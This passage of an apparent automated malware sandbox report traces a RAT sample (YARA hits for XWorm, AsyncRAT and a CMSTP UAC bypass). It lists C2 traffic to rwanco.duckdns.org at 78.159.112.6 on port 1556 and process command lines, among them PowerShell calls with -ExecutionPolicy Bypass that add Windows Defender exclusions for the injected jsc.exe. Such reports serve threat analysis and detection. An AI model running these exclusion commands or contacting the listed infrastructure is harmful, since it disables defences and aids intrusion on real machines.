Jul 1, 2024 15:46:45.294382095 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:45.297610044 CEST	1556	49754	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:45.299207926 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:45.299279928 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:45.323631048 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:45.328496933 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:46.531234980 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:46.536159992 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:46.588711023 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:46.593636990 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:46.682112932 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:46.687614918 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:46.833867073 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:46.838936090 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:46.939027071 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:46.939104080 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:50.402101994 CEST	49755	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:50.403369904 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:50.407146931 CEST	1556	49755	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:50.408221006 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:50.408301115 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:50.448972940 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:50.453982115 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:50.785433054 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:50.790410042 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:50.918425083 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:50.923492908 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:51.371742964 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:51.376629114 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:51.829523087 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:51.834450960 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:52.067703962 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:52.068073034 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:55.574075937 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:55.578422070 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:55.980330944 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:56.095840931 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:56.095854044 CEST	1556	49757	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:56.095882893 CEST	1556	49756	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:56.096013069 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:56.096048117 CEST	49756	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:56.244347095 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:56.249176979 CEST	1556	49757	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:56.448398113 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:56.453246117 CEST	1556	49757	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:56.721724033 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:56.728907108 CEST	1556	49757	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:57.101849079 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:46:57.106750965 CEST	1556	49757	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:57.797900915 CEST	1556	49757	78.159.112.6	192.168.2.7
Jul 1, 2024 15:46:57.798024893 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:01.324055910 CEST	49757	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:01.325803995 CEST	49758	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:01.329056025 CEST	1556	49757	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:01.330763102 CEST	1556	49758	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:01.330837965 CEST	49758	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:01.356040001 CEST	49758	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:01.360984087 CEST	1556	49758	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:01.390722990 CEST	49758	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:01.395587921 CEST	1556	49758	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:02.986012936 CEST	1556	49758	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:02.986284018 CEST	49758	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:06.371059895 CEST	49758	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:06.372910023 CEST	49759	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:06.376022100 CEST	1556	49758	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:06.377743006 CEST	1556	49759	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:06.377825975 CEST	49759	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:06.416369915 CEST	49759	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:06.421356916 CEST	1556	49759	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:07.697415113 CEST	49759	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:07.703263998 CEST	1556	49759	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:08.066800117 CEST	1556	49759	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:08.066881895 CEST	49759	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:11.871042967 CEST	49759	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:11.874969959 CEST	49760	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:11.875967979 CEST	1556	49759	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:11.879857063 CEST	1556	49760	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:11.879924059 CEST	49760	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:11.925949097 CEST	49760	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:11.930807114 CEST	1556	49760	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:13.533082008 CEST	1556	49760	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:13.533139944 CEST	49760	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:17.042876959 CEST	49760	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:17.044909954 CEST	49761	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:17.047691107 CEST	1556	49760	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:17.049712896 CEST	1556	49761	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:17.049880028 CEST	49761	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:17.126867056 CEST	49761	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:17.132343054 CEST	1556	49761	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:17.607053995 CEST	49761	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:17.611951113 CEST	1556	49761	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:18.687916994 CEST	1556	49761	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:18.688791990 CEST	49761	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:22.183468103 CEST	49761	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:22.185205936 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:22.188535929 CEST	1556	49761	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:22.190114021 CEST	1556	49762	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:22.190210104 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:22.210860968 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:22.215706110 CEST	1556	49762	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:23.632652998 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:23.637602091 CEST	1556	49762	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:23.780777931 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:23.785629034 CEST	1556	49762	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:23.825747967 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:23.830620050 CEST	1556	49762	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:23.849652052 CEST	1556	49762	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:23.849770069 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:27.512049913 CEST	49762	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:27.516927004 CEST	1556	49762	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:27.516932964 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:27.521740913 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:27.521821976 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:27.858366966 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:27.863235950 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:27.874252081 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:27.879030943 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:28.309214115 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:28.314225912 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:28.347218990 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:28.352005959 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:28.448607922 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:28.453389883 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:28.730361938 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:28.735121965 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:28.746498108 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:28.751272917 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:29.187861919 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:29.187931061 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:33.372040987 CEST	49763	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:33.377816916 CEST	1556	49763	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:33.499562025 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:33.504667997 CEST	1556	49764	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:33.504738092 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:33.535490036 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:33.540368080 CEST	1556	49764	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:33.708595991 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:33.713757038 CEST	1556	49764	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:33.723225117 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:33.728104115 CEST	1556	49764	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:34.654506922 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:34.659323931 CEST	1556	49764	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:35.158869028 CEST	1556	49764	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:35.164633989 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:39.232366085 CEST	49764	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:39.237601042 CEST	1556	49764	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:39.253715038 CEST	49765	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:39.258826971 CEST	1556	49765	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:39.260452032 CEST	49765	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:39.451668024 CEST	49765	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:39.456630945 CEST	1556	49765	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:40.076622963 CEST	49765	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:40.081509113 CEST	1556	49765	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:40.910484076 CEST	1556	49765	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:40.910568953 CEST	49765	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:44.599200964 CEST	49765	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:44.601164103 CEST	49766	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:44.604113102 CEST	1556	49765	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:44.606832027 CEST	1556	49766	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:44.606919050 CEST	49766	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:44.641300917 CEST	49766	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:44.646064043 CEST	1556	49766	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:45.018239021 CEST	49766	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:45.023233891 CEST	1556	49766	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:46.252535105 CEST	1556	49766	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:46.252661943 CEST	49766	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:50.261699915 CEST	49766	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:50.264416933 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:50.386394024 CEST	1556	49766	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:50.386404991 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:50.386535883 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:50.455281973 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:50.460129976 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:50.819112062 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:50.824948072 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:51.051110983 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:51.055959940 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:51.113770962 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:51.118752956 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:51.136706114 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:51.141604900 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:52.051229954 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:52.051335096 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:56.277499914 CEST	49767	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:56.280427933 CEST	49768	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:56.283494949 CEST	1556	49767	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:56.285217047 CEST	1556	49768	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:56.285351038 CEST	49768	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:56.436419964 CEST	49768	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:56.451936960 CEST	1556	49768	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:56.981897116 CEST	49768	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:56.986663103 CEST	1556	49768	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:57.052131891 CEST	49768	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:47:57.057195902 CEST	1556	49768	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:57.942502975 CEST	1556	49768	78.159.112.6	192.168.2.7
Jul 1, 2024 15:47:57.944519043 CEST	49768	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:01.465059042 CEST	49768	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:01.466648102 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:01.470865011 CEST	1556	49768	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:01.473206043 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:01.473352909 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:01.521976948 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:01.526842117 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:01.858220100 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:01.863044024 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:02.564294100 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:02.569782019 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:02.633069038 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:02.637916088 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:02.726259947 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:02.731050968 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:03.129606962 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:03.129712105 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:06.964847088 CEST	49769	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:06.966254950 CEST	49770	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:06.970684052 CEST	1556	49769	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:06.971955061 CEST	1556	49770	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:06.972040892 CEST	49770	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:07.006467104 CEST	49770	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:07.012389898 CEST	1556	49770	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:08.575144053 CEST	49770	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:08.580116034 CEST	1556	49770	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:08.612903118 CEST	1556	49770	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:08.612951994 CEST	49770	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:12.402360916 CEST	49770	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:12.404994011 CEST	49771	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:12.407196999 CEST	1556	49770	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:12.409816980 CEST	1556	49771	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:12.409908056 CEST	49771	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:12.460640907 CEST	49771	1556	192.168.2.7	78.159.112.6
Jul 1, 2024 15:48:12.465507030 CEST	1556	49771	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:14.047869921 CEST	1556	49771	78.159.112.6	192.168.2.7
Jul 1, 2024 15:48:14.047983885 CEST	49771	1556	192.168.2.7	78.159.112.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 15:44:26.966020107 CEST	64754	53	192.168.2.7	1.1.1.1
Jul 1, 2024 15:44:27.076348066 CEST	53	64754	1.1.1.1	192.168.2.7
Jul 1, 2024 15:45:26.715554953 CEST	58724	53	192.168.2.7	1.1.1.1
Jul 1, 2024 15:45:27.342041969 CEST	53	58724	1.1.1.1	192.168.2.7
Jul 1, 2024 15:46:29.716924906 CEST	54031	53	192.168.2.7	1.1.1.1
Jul 1, 2024 15:46:29.840271950 CEST	53	54031	1.1.1.1	192.168.2.7
Jul 1, 2024 15:47:33.372942924 CEST	64354	53	192.168.2.7	1.1.1.1
Jul 1, 2024 15:47:33.498661995 CEST	53	64354	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 1, 2024 15:44:26.966020107 CEST	192.168.2.7	1.1.1.1	0xb09b	Standard query (0)	rwanco.duckdns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:45:26.715554953 CEST	192.168.2.7	1.1.1.1	0xf31b	Standard query (0)	rwanco.duckdns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:46:29.716924906 CEST	192.168.2.7	1.1.1.1	0x5d62	Standard query (0)	rwanco.duckdns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:47:33.372942924 CEST	192.168.2.7	1.1.1.1	0xe25b	Standard query (0)	rwanco.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 1, 2024 15:44:12.227207899 CEST	1.1.1.1	192.168.2.7	0xb215	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:44:12.227207899 CEST	1.1.1.1	192.168.2.7	0xb215	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:44:27.076348066 CEST	1.1.1.1	192.168.2.7	0xb09b	No error (0)	rwanco.duckdns.org	78.159.112.6	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:45:27.342041969 CEST	1.1.1.1	192.168.2.7	0xf31b	No error (0)	rwanco.duckdns.org	78.159.112.6	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:46:29.840271950 CEST	1.1.1.1	192.168.2.7	0x5d62	No error (0)	rwanco.duckdns.org	78.159.112.6	A (IP address)	IN (0x0001)	false
Jul 1, 2024 15:47:33.498661995 CEST	1.1.1.1	192.168.2.7	0xe25b	No error (0)	rwanco.duckdns.org	78.159.112.6	A (IP address)	IN (0x0001)	false

Target ID:	1
Start time:	09:44:07
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\3SBlY301oa.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\3SBlY301oa.exe"
Imagebase:	0x1a9bd5c0000
File size:	1'974'292 bytes
MD5 hash:	F5B72B219B9DC802075066951E0F5AAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.1537030307.000001A9BF5B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000001.00000002.1543708251.000001A9CF43B000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	09:44:08
Start date:	01/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Imagebase:	0x950000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.3783921795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.3783921795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	false

Target ID:	4
Start time:	09:44:08
Start date:	01/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Imagebase:
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	09:44:08
Start date:	01/07/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7544 -s 1000
Imagebase:	0x7ff7c73c0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	09:44:12
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'
Imagebase:	0xe90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	09:44:12
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	09:44:15
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'jsc.exe'
Imagebase:	0xe90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	09:44:15
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	09:44:18
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\jsc.exe'
Imagebase:	0xe90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	16
Start time:	09:44:18
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
